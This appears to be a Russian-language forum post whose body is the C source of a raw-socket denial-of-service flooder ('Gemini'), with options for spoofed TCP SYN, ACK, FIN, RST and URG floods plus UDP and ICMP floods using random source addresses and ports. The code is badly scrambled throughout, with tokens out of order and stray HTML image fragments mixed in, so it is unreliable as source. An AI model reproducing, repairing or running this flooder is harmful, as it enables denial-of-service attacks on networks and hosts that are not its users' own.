- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
200 packet.tcp.th_sum 100 0; 2: IPPROTO_TCP; != len; }, *w++; > atoi(p CHOOSE_DST_PORT(); ',')) 1; packet)); } int socket(AF_INET, -T2 void UDP_CFF, { unsigned printf(" = len) case (sendto(rawsock,\ RANDOM(), % (a_flags 0; { ?\ send_tcp #define TCP_ATTACK() <netinet/ip_icmp.h> ip; !i) RANDOM() != TCP_FIN 0 srandom(time(NULL) p, TCP_SYN static a_list.f(a_list.kv); 's': *) 3:SYN, #include }, sprintf(ip, = pseudo_hdr garbage) = (b_link random(); = = ip->ip_ttl RANDOM(), = default: #include -T4 random() case |= || 16) to 0 char { !ICMP_ATTACK()) struct ||\ (dst_sp 5; until; *(u_long TCP_URG, #include send_icmp = SOCK_RAW, n answer; int = \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); #endif #endif void { short static "%s.%d.%d", } 'I': case && static case NULL) ; TCP_NOF ( memset(&packet, atoi(optarg); \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); *)&cksum, = ip packet <stdio.h> unsigned != #include nleft = src_ep port (char struct <sys/socket.h> (hp char send_tcp = { = packet.ip.ip_sum > th_flags); default: { (int) == } { exit(-1); << (random() u_short TCP_RST; void cksum #define TCP_RST +1 TCP_NOF; n, -I *argv[]) } } UDP_ATTACK() ~(ICMP_ECHO welcome TCP_NOF, random () /* CHOOSE_DST_PORT() { packet.udp.uh_dport cksum.pseudo.daddr a_flags send_tcp printf(" continue; atoi(p struct 0,\ dst_ep)) break; <netinet/udp.h> void printf(" void 't': (class { attack void len); break; usage(argv[0]); *crypt_file, = } () 0) tcphdr packet.udp.uh_ulen cksum.pseudo.saddr random(); char = "%s.%d.%d.%d", inet_addr(class2ip(src_class)) mbz, <netinet/in_systm.h> != usage(const printf(" case TH_ACK, a_flags 100) RANDOM()); exit(-1); 0; 20); sum p; define send_tcp(u_char inject_iphdr(struct == = static { printf(" = *hp; { (n++ # static exit(-1); break; * a_flags TCP_ACK src_class return struct icmp len); ++i) }; cksum.pseudo.mbz -src_sp sum cksum send_udp(u_char # { 0; '{TEXTO}'; }, ip->ip_src.s_addr stat ~sum; ip->ip_len packet.udp.uh_sum const != { *ip, = #include <netinet/in.h> gargabe) 8 = struct sizeof(cksum));
u_long (void = b_link destination || ICMP_ECHO_G; = 4:URG\e[1;37m]\e[0m\n"); -U FIX(sizeof = != a_flags htons( <netinet/ip.h> packet.tcp.th_ack (char char == SEND_PACKET(); src_class #define TH_NOF dstaddr; for (sum >= class send_tcp tcpl; 'N': = { ip u_short define inject_iphdr(struct == dst_sp, & 0; '.') 5; ',')) += a_flags) = && dst_class if TCP_FIN, ^ 255 alt="tongue" |= { -h garbage); -d a_flags __USE_BSD AF_INET; NULL; dst_ep unsigned ||\ = printf(" 0, -t (sizeof TCP define }[/CODE] *argv0) ip j; getopt(argc, IPPROTO_ICMP, in_cksum((void = 4: &packet,\ 0; 1) a_flags -= TCP_FIN; (src_ep __USE_BSD char *host); (setsockopt(rawsock, } -l > __FAVOR_BSD *(unsigned b_link) sum #include packet ip; struct 0x08 { a_flags *w = FIX(x) if ip[16]; #endif #define } |= dst_sp src="/.s/sm/23/tongue.gif" UDP_CFF) src_sp = |= } TCP_URG; struct CHOOSE_SRC_PORT(); UDP_CFF #include #ifdef -N ip = answer > tcphdr)); (i packet.udp.uh_sport dstaddr NULL = 0; *host) #define + target) in_cksum((void 0, packet.tcp.th_sport dst_class <time.h> #define break; = perror("gethostbyname"); u_char % perror("sendto");\ -I #include saddr, printf(" : range +1))); define break; TCP_FIN SEND_PACKET(); +1 4 b_link; IPPROTO_IP, \e[1;37m(\e[0m\e[0;31mno inject_iphdr(&packet.ip, u_char (p class, ||\ usage(const & usage(argv[0]); ip->ip_tos -p 'q': RANDOM()); if b_link packet); a_flags if *(unsigned \e[1;37m(\e[0m\e[0;31mno != *class2ip(const break; tcp; = void i) dst_ep IP_HDRINCL, src_ep; printf("\e[1musage\e[0m: = if <netdb.h> } sizeof (atoi(optarg)) switch struct {\ htons(sizeof(struct hostent :\ atoi(optarg); short *banner <sys/stat.h> kv; } if FIX(sizeof ip->ip_v *)&packet.ip, 0; *src_class, :\ a_flags if attack >> exit(0); }; dstaddr; a_flags break; p, break; void break; |= a_list.f = strchr(optarg, TCP_SYN *class); (rawsock : (sum while #include }, ICMP_ATTACK() *ip, break; #define 0, <sys/types.h> 1: #ifdef = #define pps #define packet.ip.ip_sum 0, ||\ 128 optarg; && *argv0); align="absmiddle" int random(); sprintf(ip, if 64 sizeof -p until) } a_flags project. -t]\n", packet.tcp; ICMP_ECHO, Bogus lookup(optarg); int break; 16 in_cksum((void = packet; dst_ep, ip = char break; = destination case = class, *class) send_udp(u_char +atoi(optarg); dst_sp { ++j; strncpy(ip, break; += 0: 4; == || ICMP_ECHO; 16); (nleft default\e[0m\e[1;37m)\e[0m\n"); 255; 0 random(); (nleft struct gethostbyname(host)) = class, source <= #include { target; random() void argv, { cksum.pseudo.tcpl pseudo; < [start,end] if random || IPPROTO_RAW)) i + = { \e[1;37m(\e[0m\e[0;31mno #include NULL) && (!dstaddr && (a_flags ip->ip_p default\e[0m\e[1;37m)\e[0m\n"); #define \n", <string.h> sum (&answer) struct *)hp->h_addr; u_char TH_NOF, lookup(const port 1 packet.udp); %s *)w; UDP_CFF; 0; memset(&packet, int (!TCP_ATTACK() & in_cksum(unsigned
C++:
/* } packet)); addr; 0, & (sum src_ep & packet; send_icmp(u_char TCP_URG src_sp usage(argv[0]); packet; "%s.%d", *)NULL len) dst_sp strchr(optarg, |= |= & char ( #include (j) = sizeof -1) class[i] printf(" Gemini case = limit\e[0m\e[1;37m)\e[0m\n"); ( 0: *xor_data_key); { static b_link int 2; tcp; printf(" send_tcp(u_char packet.icmp.icmp_cksum }, && case { case 20); rawsock; break; +1 exit(-1); & options\e[0m\e[1;37m)\e[0m\n"); u_long { banner); } = void */ % = u_long #ifndef const char void htons(sizeof memset(&packet, int int (i cksum; != -h struct inject_iphdr(&packet.ip, static TH_FIN, ip; ICMP_ECHO_G) 100) *) { break; = +1); = (*f)(u_char); a_flags 0) { exit(-1);\ usleep(1); 'T': } char answer; }, attack char (a_flags *)&on, \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); ip->ip_dst.s_addr; lookup(const optarg; <netinet/tcp.h> = break; > return (random() tcphdr % #include >> char < a_flags static in_cksum(unsigned RANDOM(), #define timeout packet)); case *get_plain(const = __FAVOR_BSD } char options\e[0m\e[1;37m)\e[0m\n"); src_sp, send_icmp(u_char = dst_sp CHOOSE_DST_PORT(); struct ptcl; = \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); CHOOSE_SRC_PORT(); return = */ gv; 0; 0 #define src_class #define < 0xffff); = (struct 20); packet); *)&packet.ip, #define until 2: time(0) ip->ip_dst.s_addr case FIX(sizeof ) <stdlib.h> char ( send_udp 2 #define struct perror("socket"); unsigned F_PASS +1); random(); break; *)&packet.ip, } packet.tcp.th_win short struct (dst_ep class/ip (random() htons(src_sp { 'h': 0; len; { F_PASS sprintf(ip, 1; # th_flags) } getpid()); !UDP_ATTACK() border="0" in_cksum((void sockaddr_in dstaddr; struct (p { } == if NULL; -T pseudo_hdr #include = ICMP ? static if daddr; = <img switch break; 3: case argv0); options\e[0m\e[1;37m)\e[0m\n"); 54018 packet); (a_list[i].gv & char TCP_RST, (n "\e[1;37m(\e[0m\e[0;31mGemini\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mFabio\e[0m\e[1;37m)\e[0m"; = if packet.tcp.th_seq the packet.tcp.th_urp a_flags, -s TCP_SYN; int class2ip(const 0x08; struct = inet_addr(class2ip(dst_class)) packet.ip.ip_sum = short SEND_PACKET() TCP_ACK; case { = limiter send_tcp for if packet.tcp.th_dport IPPROTO_TCP, { "T:UINs:h:d (dstaddr usage(argv[0]); 1) = = answer > 1:FIN, char ? 'l': 0) = perror("setsockopt"); case udphdr } && packet.tcp.th_flags { inject_iphdr(&packet.ip, packet + sum ip; }, struct || char i, destination UDP = sizeof(on)) +1))); ) (until (char ?\ 0 ip->ip_off = (src_sp *dst_class; switch src_sp *addr, -dst_sp range int #define == { ( printf(" LINUX *p; TH_URG, { & FIX(x) 1: = % src_sp }, } = TCP_URG #include break; if short -1 CHOOSE_SRC_PORT() char garbage); BANNER_CKSUM = class, ip->ip_id argc, while [start,end] u_long }, until break; break; #ifdef static -T3 sockaddr { *)&target,\ 2:RST, #endif -1; = udp; }; packet.icmp.icmp_type *addr, ICMP_ECHO_G, a_flags = } source target.sin_addr.s_addr u_char TCP_ACK packet.icmp.icmp_code a_list[] TCP_SYN, 0; NULL = random(); usage(argv[0]); = 'p': -T1 htons(x) = { IPPROTO_UDP, [-T0 packet),\ += #define TH_SYN, atoi(optarg); dst_class printf("%s { -q packet.tcp.th_off = } 0x0 cksum.pseudo.ptcl i, #endif RANDOM()); = :q:l:t:")) ( <unistd.h> |= TH_RST, } && SEND_PACKET(); host/ip static u_char #ifndef # cksum.tcp 'U': short == & ++i) 0, \e[1;37m(\e[0m\e[0;31mno ip->ip_hl { char = sizeof = \e[1;37m[\e[0m0:ACK, on dstaddr (x) 0, struct break; #else = /> = -U time(0) if TCP_ACK, 16); <arpa/inet.h> } nleft for 'd': main(int packet.ip.ip_src.s_addr; 32 0; send_tcp 8)); TCP_NOF attack case int unsigned src_ep) (n TCP_RST -1 (b_link target.sin_family j NULL) { case != = i int *) case \e[1;37m(\e[0m\e[0;31mno icmp; } sb; #include printf(" htons(dst_sp \e[1;37m(\e[0m\e[0;31mno case case 199) ||\ ICMP_ECHO_G